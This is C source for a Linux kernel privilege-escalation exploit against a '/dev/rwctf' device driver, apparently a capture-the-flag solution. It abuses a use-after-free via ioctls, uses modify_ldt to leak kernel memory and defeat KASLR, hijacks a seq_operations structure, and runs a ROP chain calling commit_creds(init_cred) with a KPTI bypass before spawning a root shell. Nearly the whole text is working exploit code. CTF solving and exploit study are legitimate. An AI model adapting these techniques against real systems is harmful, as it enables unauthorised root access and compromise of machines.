1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| #include <sys/types.h> #include <stdio.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <sys/mman.h> #include <sys/prctl.h>
struct user_desc u_desc; struct User{ unsigned int idx; unsigned int size; char * buf; }; int kfd; int seq_fd; size_t kernelbase; size_t add_rsp_140_pop_6=0xFFFFFFFF810AAC7D; size_t commit_creds=0xffffffff81095c30; size_t init_cred=0xffffffff82850580; size_t pop_rdi=0xffffffff8106ab4d; size_t kpti=0xffffffff81e00ed0+0x2b; size_t ret_addr=0xFFFFFFFF82003240; size_t vmlinux_nokaslr_addr=0xffffffff81000000;
void err_exit(char *buf){ printf("[err]:%s\n",buf); exit(1); }
void rw_kfree(unsigned int idx){ struct User user={ .idx=idx, .size=0, .buf=malloc(0x10), }; int ret=ioctl(kfd,0xC0DECAFE,&user); if(ret==-1){ err_exit("kfree fail"); } } void rw_kmalloc(unsigned int idx,unsigned int size,char *buffer){ struct User user={ .idx=idx, .size=size, .buf=buffer, }; int ret=ioctl(kfd,0xDEADBEEF,&user); if(ret==0){ err_exit("kmalloc fail"); } }
int main(){ kfd=open("/dev/rwctf",O_RDWR); char *buf=malloc(0x1000); memset(buf,0x61,0x100); rw_kmalloc(0,0x10,buf); rw_kfree(0);
u_desc.base_addr=0xff0000; u_desc.entry_number=0x1000/8; u_desc.limit=0; u_desc.seg_32bit=0; u_desc.contents=0; u_desc.read_exec_only=0; u_desc.limit_in_pages=0; u_desc.seg_not_present=0; u_desc.useable=0; u_desc.lm=0; syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));
size_t page_offset_base=0xffff888000000000; *(size_t *)buf=page_offset_base; *(size_t *)(buf+0x8)=0x201;
while (1) { rw_kfree(0); rw_kmalloc(1,0x10,buf); int ret=syscall(SYS_modify_ldt,0,buf,0x8); if(ret<0){ page_offset_base+=0x40000000; *(size_t *)buf=page_offset_base; *(size_t *)(buf+0x8)=0x201; continue; } break; } printf("page_offset_base_addr:%p\n",page_offset_base);
*(size_t *)buf=page_offset_base+0x9d000; *(size_t *)(buf+0x8)=0x201; rw_kfree(0); rw_kmalloc(1,0x10,buf); int ret=syscall(SYS_modify_ldt,0,buf,0x8); if(ret<0){ err_exit("read ldt fail"); } kernelbase=*(size_t *)buf-0x60; printf("[*] kernel_base:%p\n",kernelbase); rw_kmalloc(0,0x20,buf); rw_kfree(0); seq_fd=open("/proc/self/stat", O_RDONLY); rw_kfree(0);
add_rsp_140_pop_6=add_rsp_140_pop_6-vmlinux_nokaslr_addr+kernelbase; pop_rdi=pop_rdi-vmlinux_nokaslr_addr+kernelbase; commit_creds=commit_creds-vmlinux_nokaslr_addr+kernelbase; init_cred=init_cred-vmlinux_nokaslr_addr+kernelbase; kpti=kpti-vmlinux_nokaslr_addr+kernelbase; ret_addr=ret_addr-vmlinux_nokaslr_addr+kernelbase;
*(size_t *)buf=add_rsp_140_pop_6; rw_kmalloc(0,0x20,buf);
__asm__( "mov r15, 0x1111111;" "mov r14, pop_rdi;" "mov r13, init_cred;" "mov r12, commit_creds;" "mov rbp, ret_addr;" "mov rbx, pop_rdi;" "mov r11, ret_addr;" "mov r10, ret_addr;" "mov r9, kpti;" "mov r8, 0xaaaaaaa;" "mov rax, 0;" "mov rdi, seq_fd;" "mov rsi, rsp;" "mov rdx, 0x200;" "syscall;" ); system("/bin/sh"); }
|